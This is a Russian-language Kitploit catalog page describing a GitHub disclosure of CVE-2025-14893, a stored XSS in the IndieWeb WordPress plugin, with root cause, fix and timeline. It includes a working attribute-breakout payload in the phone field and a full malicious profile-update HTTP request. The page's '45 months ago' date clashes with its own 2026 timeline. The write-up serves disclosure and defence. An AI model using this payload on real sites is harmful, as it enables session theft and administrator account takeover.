Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-14893 — Авторизованное сохранённое межсайтовое выполнение сценариев (XSS) в плагине IndieWeb для WordPress | Kitploit
Инструменты/GitHubGitHub/d3kc4rt1/cve-2025-14893
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubd3kc4rt1/cve-2025-14893

CVE-2025-14893

Авторизованное сохранённое межсайтовое выполнение сценариев (XSS) в плагине IndieWeb для WordPress

Репозиторий
45 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-14893: Межсайтовый скриптинг (XSS) с сохранением в плагине IndieWeb для WordPress

Отказ от ответственности: Этот репозиторий создан исключительно в образовательных целях и для этичного раскрытия. Уязвимость была ответственно сообщена вендору и исправлена. Не используйте эту информацию для эксплуатации систем без надлежащего разрешения.

Краткое описание

В плагине IndieWeb для WordPress (версии <= 4.0.5) обнаружена уязвимость межсайтового скриптинга (XSS) с сохранением. Эта уязвимость позволяет аутентифицированным атакующим с правами Автора или выше внедрить вредоносный JavaScript в поле «Телефон» своего профиля пользователя.

Когда виджет «H-Card профиля автора» отображается на фронтенде, внедрённый скрипт выводится без надлежащей санитизации. Если пользователь с высокими привилегиями, например администратор, щёлкает по манипулированной ссылке, скрипт выполняется в контексте его браузера. Это может привести к перехвату сессии, несанкционированным административным действиям и полному захвату учетной записи (ATO).

Обзор уязвимости

  • CVE ID: CVE-2025-14893
  • Продукт: IndieWeb (плагин WordPress)
  • Затронутые версии: <= 4.0.5
  • Тип уязвимости: Межсайтовый скриптинг (XSS) с сохранением (CWE-79)
  • Требуемые привилегии: Аутентифицированный (уровень Автора и выше)

Технические детали и первопричина

Основная проблема заключается в небезопасной обработке метаданных пользователя в системе шаблонов плагина, а именно в отсутствии использования встроенных функций экранирования WordPress.

Уязвимый файл: templates/h-card.php (строка 27)

<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>

Ошибка: Плагин напрямую выводит метаданные tel пользователя внутри HTML-атрибута href с помощью echo, не оборачивая их в esc_attr(). Это позволяет атакующему предоставить сконструированную строку, которая содержит двойную кавычку ("), чтобы преждевременно закрыть атрибут href, после чего следуют произвольные HTML-атрибуты (например, style или onclick).

Влияние на бизнес

  • Захват учётной записи (ATO): Если администратор взаимодействует с манипулированным элементом, JavaScript атакующего может украсть куки сессии или выполнить административные AJAX-запросы, предоставив атакующему полный контроль над сайтом WordPress.
  • Ущерб репутации: Атакующий может изменить видимые элементы страницы (дефейс) или перенаправить легитимных посетителей на вредоносные сторонние сайты.

Подтверждение концепции (PoC)

Предварительные требования

  1. WordPress установлен с активированным IndieWeb <= 4.0.5.
  2. Учётная запись атакующего с ролью Автор.
  3. Виджет «H-Card профиля автора» добавлен в видимую область фронтенда (например, боковая панель).

Шаги эксплуатации

  1. Войдите в панель управления WordPress как Автор.
  2. Перейдите в Профиль (/wp-admin/profile.php).
  3. Прокрутите вниз до поля Телефон.
  4. Внедрите следующий payload (который выходит из атрибута href):
    Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
    
  5. Нажмите Обновить профиль.
  6. Ключевой шаг: Создайте и опубликуйте новую запись. Уязвимый виджет отображается только на страницах отдельных записей (is_single()) для отображения информации об авторе.
  7. Активация: Когда администратор посещает опубликованную запись на фронтенде и щёлкает по новой стилизованной кнопке «Click_Me», выполняется XSS-пейлоад (выводящий куки сессии).

Пример вредоносного HTTP-запроса (обновление профиля)

POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]

_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile

Устранение

Для исправления уязвимости разработчики плагина должны правильно экранировать вывод с помощью функций WordPress esc_attr() и esc_html().

Пример исправленного кода:

<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>

Временная шкала

  • Дата (2026-03-03): Сообщено Wordfence.
  • Дата (2026-03-20): Уязвимость исправлена / публичное раскрытие.

Ссылки и благодарности

  • База данных уязвимостей Wordfence
  • CVE-2025-14893 на NVD
  • Плагин IndieWeb на WordPress.org
Скачать инструмент